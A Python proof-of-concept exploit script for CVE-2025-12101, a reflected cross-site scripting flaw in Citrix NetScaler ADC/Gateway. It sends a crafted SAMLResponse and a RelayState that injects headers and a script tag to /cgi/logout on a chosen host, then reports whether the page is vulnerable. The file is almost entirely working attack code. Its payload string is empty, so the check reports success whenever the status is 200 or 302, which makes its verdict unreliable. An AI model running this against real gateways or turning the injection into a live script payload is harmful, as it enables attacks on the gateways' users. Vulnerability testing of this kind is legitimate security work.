#!/usr/bin/env python3
#
# Simple PoC for CVE-2025-12101 – Citrix NetScaler ADC/Gateway Reflected XSS
#
# Based on research and payload details from:
# https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/?1
#
# Use only on systems you are explicitly authorized to test.
import socket
import ssl
import re
import argparse
from urllib.parse import urlparse
# ===== ANSI COLORS =====
RED = "\033[31m"
GREEN = "\033[32m"
YELLOW = "\033[33m"
CYAN = "\033[36m"
BOLD = "\033[1m"
RESET = "\033[0m"
# Body EXACTLY as provided (URL-encoded SAMLResponse + RelayState with )
BODY = (
"SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2Fz"
"aXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2Vy"
"dGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIg"
"VmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5h"
"bWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=DQpD"
"b250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzY3JpcHQ%2bYWxlcnQoMSk8L3NjcmlwdD4%3d"
)
# Decoded payload expected to be reflected
PAYLOAD = ""
def parse_target(url: str):
"""
Accepts:
-u https://www.example.com
-u http://example.com
-u www.example.com
Returns:
host, port
"""
if not url.startswith("http"):
url = "https://" + url
parsed = urlparse(url)
host = parsed.hostname
if not host:
raise ValueError("Invalid target URL")
if parsed.port:
port = parsed.port
else:
port = 443 if parsed.scheme == "https" else 80
return host, port
def build_request(host: str, body: str) -> bytes:
body_bytes = body.encode("ascii")
content_length = len(body_bytes)
request = (
f"POST /cgi/logout HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: CVE-2025-12101-raw-PoC\r\n"
f"Accept: */*\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {content_length}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode("ascii") + body_bytes
return request
def recv_all(sock: ssl.SSLSocket, chunk_size: int = 4096) -> str:
data = b""
while True:
try:
chunk = sock.recv(chunk_size)
except socket.timeout:
break
if not chunk:
break
data += chunk
return data.decode("utf-8", errors="ignore")
def check_cve_2025_12101_script_payload(host: str, port: int = 443, timeout: int = 15):
print(f"{CYAN}{BOLD}[*] Testing target: {host}:{port}{RESET}")
ctx = ssl.create_default_context()
try:
raw_sock = socket.create_connection((host, port), timeout=timeout)
sock = ctx.wrap_socket(raw_sock, server_hostname=host)
sock.settimeout(timeout)
except Exception as e:
print(f"{RED}[!] Connection error: {e}{RESET}")
return
try:
request = build_request(host, BODY)
sock.sendall(request)
response = recv_all(sock)
finally:
sock.close()
print(f"\n{YELLOW}{BOLD}===== RAW HTTP RESPONSE BEGIN ====={RESET}")
print(response)
print(f"{YELLOW}{BOLD}===== RAW HTTP RESPONSE END ====={RESET}\n")
m = re.search(r"HTTP/\d\.\d\s+(\d+)", response)
status_code = int(m.group(1)) if m else 0
reflected = PAYLOAD in response
print(f"{CYAN}[+] HTTP status code: {status_code}{RESET}")
print(f"{CYAN}[+] Payload '{PAYLOAD}' reflected: {reflected}{RESET}")
if status_code in (200, 302) and reflected:
print(
f"\n{GREEN}{BOLD}[VULNERABLE]{RESET} "
f"{GREEN}XSS confirmed on {host} with payload {PAYLOAD!r}{RESET}"
)
else:
print(
f"\n{BOLD}{RED}[INFO]{RESET} "
f"{RED}No XSS behaviour detected on {host} with this payload.{RESET}"
)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="PoC for CVE-2025-12101 – Citrix NetScaler Reflected XSS",
allow_abbrev=False,
)
parser.add_argument(
"-u", "--url", required=True, help="Target URL (e.g. https://www.example.com)"
)
args = parser.parse_args()
host, port = parse_target(args.url)
check_cve_2025_12101_script_payload(host, port)